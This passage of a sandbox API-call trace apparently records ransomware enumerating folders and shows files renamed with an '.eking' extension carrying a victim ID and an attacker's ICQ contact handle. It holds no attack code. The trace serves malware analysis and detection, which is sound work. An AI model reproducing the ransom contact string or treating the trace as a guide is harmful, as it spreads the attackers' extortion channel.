ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc37be719, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.041] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3772239, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3772239, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc37be719, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.041] FindClose (in: hFindFile=0xb031c8 | out: hFindFile=0xb031c8) returned 1 [0275.041] GetProcessHeap () returned 0xaf0000 [0275.041] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb53840 | out: hHeap=0xaf0000) returned 1 [0275.041] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1032", cAlternateFileName="")) returned 1 [0275.042] GetProcessHeap () returned 0xaf0000 [0275.042] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb53840 [0275.042] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0275.042] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.043] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3a20bf7, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3a20bf7, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3a535c2, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x23a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.043] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc39faa49, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc39faa49, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3a535c2, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x15212, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.043] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3a535c2, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3a535c2, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3c832de, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.043] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3a535c2, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3a535c2, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3c832de, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.043] FindClose (in: hFindFile=0xb02c88 | out: hFindFile=0xb02c88) returned 1 [0275.044] GetProcessHeap () returned 0xaf0000 [0275.044] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb53840 | out: hHeap=0xaf0000) returned 1 [0275.044] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1033", cAlternateFileName="")) returned 1 [0275.044] GetProcessHeap () returned 0xaf0000 [0275.044] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb53840 [0275.044] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03088 [0275.045] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.045] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3a6e356, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3a6e356, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3b7b36c, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xd72, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.045] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3b7b36c, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3b7b36c, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3b9e4b6, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x12ec2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.045] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3b9e4b6, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3b9e4b6, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3d1bb69, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.045] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3b9e4b6, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3b9e4b6, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3d1bb69, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.045] FindClose (in: hFindFile=0xb03088 | out: hFindFile=0xb03088) returned 1 [0275.046] GetProcessHeap () returned 0xaf0000 [0275.046] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb53840 | out: hHeap=0xaf0000) returned 1 [0275.046] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1035", cAlternateFileName="")) returned 1 [0275.046] GetProcessHeap () returned 0xaf0000 [0275.046] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb53840 [0275.046] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0275.047] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.047] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ca9572, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3ca9572, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3ccf67c, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xf72, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.047] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ccf67c, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3ccf67c, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc406450f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x12de2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.047] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d1bb69, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3d1bb69, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3d909d5, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.047] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d1bb69, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3d1bb69, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3d909d5, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.047] FindClose (in: hFindFile=0xb02c88 | out: hFindFile=0xb02c88) returned 1 [0275.048] GetProcessHeap () returned 0xaf0000 [0275.048] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb53840 | out: hHeap=0xaf0000) returned 1 [0275.048] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1036", cAlternateFileName="")) returned 1 [0275.048] GetProcessHeap () returned 0xaf0000 [0275.048] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb53840 [0275.049] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0275.049] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.049] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d909d5, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3d909d5, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3ec13ac, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xec2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.050] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ec13ac, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3ec13ac, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3fa431e, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x14522, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.050] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3fa431e, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3fa431e, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3fca5c8, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.050] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3fa431e, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3fa431e, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3fca5c8, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.050] FindClose (in: hFindFile=0xb02c88 | out: hFindFile=0xb02c88) returned 1 [0275.050] GetProcessHeap () returned 0xaf0000 [0275.051] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb53840 | out: hHeap=0xaf0000) returned 1 [0275.051] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1037", cAlternateFileName="")) returned 1 [0275.051] GetProcessHeap () returned 0xaf0000 [0275.051] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb53840 [0275.051] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0275.052] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.052] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3fca5c8, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3fca5c8, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc4016a96, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x1bc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.052] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc403cd24, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc403cd24, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc403cd24, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x11a92, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.052] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc408919a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc408919a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc408919a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4262, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.052] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc408919a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc408919a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc408919a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4262, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.052] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0275.053] GetProcessHeap () returned 0xaf0000 [0275.053] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb53840 | out: hHeap=0xaf0000) returned 1 [0275.053] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1038", cAlternateFileName="")) returned 1 [0275.053] GetProcessHeap () returned 0xaf0000 [0275.053] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb53840 [0275.053] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0275.054] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.054] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc406450f, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc406450f, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc40fb8a4, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, 